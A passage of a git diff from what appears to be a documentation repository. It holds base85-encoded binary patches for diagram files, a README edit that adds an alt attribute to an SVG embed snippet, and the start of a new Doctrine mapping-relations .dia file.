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
Tvj6%N4)~LoR+g%gFbeoTT`c$R

diff --git a/_images/sources/README.md b/_images/sources/README.md
index a07bd5180fe..dcbd2dabefa 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -39,7 +39,9 @@ Use the following snippet to embed the diagram in the docs:
 ```
 .. raw:: html
 
-    <object data="../_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"></object>
+    <object data="../_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"
+        alt="<alt description>"
+    ></object>
 ```
 
 ### Reasoning
diff --git a/_images/sources/doctrine/mapping_relations.dia b/_images/sources/doctrine/mapping_relations.dia
new file mode 100644
index 0000000000000000000000000000000000000000..5703e1b781c3597e70196f609caf71e45daee62e
GIT binary patch
literal 3114
zcmV+_4At`=iwFP!000021MOYiZsWKWzK)+l@LcpJVMvOU#AGvz&K8SBQFI5`>9rwS
zjH8Y$8Im$ddeMtMPoJt!Qc|`PTO#!@C7F>2$yf@_kCe{OcMcD&pMHMa1jaWWCw>&(
z%n^WdgNLig^TYMc{2yO_y>R9~f1Lf~`R<kYS;y|i5T6JWd2}<sOVjPu<>kY}0|=fH
zH;rNt`1c^;m;ZKyz`YcWF6SR-hH>11=ccYaw?FHqY3wiWQ*MOrhTqJW?&|A0j_yNm
zzH7B_w~B%&Hom#R&HTgd{x!eccXWBuQ%Ubzcg>eEcfaa8hvLOpyUw>f&Ud`oMu{()
zq)*#I6HPzz_feaDt3)&k*B?LpnS9s{X@BCSFV#S`AnC@9*M3;U5mzVJT?z~wjPc<*
zG>2FY4-pIx5f2aHCyQ+qr?Km&MVMt21>6mHNNIe}+v6lFHxMFIHWk#q_gg<rql)q0
zx<OKB0=v`C+S61M*Rk)FE8<BDO)uV)_}^a*dP^RBFTGnl4s=U)y*~}q`!_%FmjPFe
z-Vf8>x_|1Y`@95XHvi@09VKqpo7Sm#4yT;9aVqP3-{Z;i=d?{06(fM~_E!EhAA#p5
z+rWJ)*Qb0VO<!)9`oade3HN%k6gpEEy4#C1y2$DI05<giw7XAZKt;=c^3}ke;x2j^
z;o4;=BV0I%vx>q{TsA>;FSd~|AU#3WwHv!rIS!nm3bo<!ex#pX*srm-fBTUb`|-Qk
